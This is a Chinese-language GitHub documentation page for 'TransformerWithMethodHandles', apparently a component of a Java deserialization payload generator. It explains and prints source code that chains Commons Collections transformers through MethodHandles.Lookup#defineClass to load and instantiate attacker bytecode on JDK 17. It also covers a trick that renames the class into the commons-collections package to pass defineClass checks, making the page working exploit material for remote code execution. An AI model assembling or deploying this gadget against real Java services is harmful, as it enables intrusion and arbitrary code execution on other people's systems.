Skip to content

Latest commit

 

History

History
72 lines (62 loc) · 5.38 KB

File metadata and controls

72 lines (62 loc) · 5.38 KB

MethodHandles 加载字节码(TransformerWithMethodHandles)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖jdk17

作用

构造一个 Commons Collections 的 Transformer[] 数组,利用 java.lang.invoke.MethodHandles.Lookup#defineClassJDK 高版本(如 JDK 17) 直接 defineClass + 实例化任意字节码,绕过 TemplatesImpl 在高版本被削弱/限制的困境,实现 RCE。是 CC 家族面向高版本 JDK 的字节码 sink 组装件。

链接标签

  • 入口 tagsTransformerChains —— 产出 Transformer[],由外层 CC gadget(nextTags=TransformerChains)承接并包进 ChainedTransformer
  • 衔接 nextTagsBytecodeConvertTag —— 之后接一个提供原始字节码 byte[] 的 gadget(BytecodeConvert 及其字节码源)。
  • excludes:无。

源码剖析

public Object getObject(byte[] bytecode) throws Exception {
    LinkedList<Object> transformers = new LinkedList<Object>();
    transformers.add(this.createConstantTransformer(MethodHandles.class));                       // 常量返回 MethodHandles 类
    transformers.add(this.createInvokerTransformer("getDeclaredMethod",                          // 反射取 MethodHandles.lookup()
            new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}));
    transformers.add(this.createInvokerTransformer("invoke",                                     // 调用得到 Lookup 实例
            new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}));
    transformers.add(this.createInvokerTransformer("defineClass",                                // Lookup.defineClass(bytecode)
            new Class[]{byte[].class}, new Object[]{bytecode}));
    transformers.add(this.createInstantiateTransformer(new Class[0], new Object[0]));            // 无参实例化被定义的类
    transformers.add(this.createConstantTransformer(1));                                         // 收尾,返回常量避免后续 NPE
    return this.createTransformerArray(transformers);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    this.context = context;
    String version = context.getString(ContextTag.CC_VERSION);
    this.initClazz(version);              // 按 CC 版本定位 Transformer 类
    this.initBytecodeClass(version);      // 关键:约束字节码类名命名空间
    return this.getObject((byte[])chain.doCreate(context));   // 内层产出字节码 byte[],再包装
}

getObject 依次组装出 ChainedTransformer 执行时的调用链:MethodHandles.class →(反射)getDeclaredMethod("lookup")invoke(null) 得到 LookupLookup.defineClass(bytecode) 得到 ClassInstantiateTransformer 无参 newInstance() 触发恶意类构造器。数组组装同样走基类 AbstractTransformer.createInvokerTransformer/createInstantiateTransformer 反射工厂(见 TransformerWithTemplatesImpl 中基类剖析)。

initBytecodeClass 是本类特有的坑点处理——Lookup.defineClass 要求被定义类与 Lookup 所在包一致,而这里的 Lookup 来自 commons-collections 包:

public void initBytecodeClass(String version) {
    if ("3".equalsIgnoreCase(version)) {
        this.context.getEngine().setGadgetParam("className",
            "org.apache.commons.collections.functors." + CommonUtil.getRandomString(10));   // CC3 命名空间
    } else if ("4".equalsIgnoreCase(version)) {
        this.context.getEngine().setGadgetParam("className",
            "org.apache.commons.collections4.functors." + CommonUtil.getRandomString(10));  // CC4 命名空间
    } else {
        ThrowsUtil.throwNotFoundOptionGadgetException("'3' or '4'");
    }
}

即自动把下游生成的字节码类名强制设为 org.apache.commons.collections(4).functors.<随机名>,与承载 Lookup 的包同域,才能通过 defineClass 的同包校验。

参数(@Param)

本类无独立 @Param。CC 版本经 ContextTag.CC_VERSION 注入;字节码类名由 initBytecodeClass 自动写入引擎参数 className;字节码 byte[] 由下游 BytecodeConvert 提供。

适用版本与原理要点

  • 依赖标注为 jdk17:专为高版本 JDK 设计——高版本下 TemplatesImpl.newTransformer 路径受限,改用 MethodHandles.Lookup#defineClass 直接定义类。
  • description 明确:CC 3.2.1 反序列化链中字节码类名必须形如 org.apache.commons.collections.functors.xxx;本链已自动设置该命名空间,无需手工调整。
  • 仍需 CC(3 或 4)在目标类路径上以提供 Transformer 体系与同包 Lookup 载体。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。作为高版本 JDK 场景下 TransformerWithTemplatesImpl 的替代 sink,可手工组入 CC 链。

关联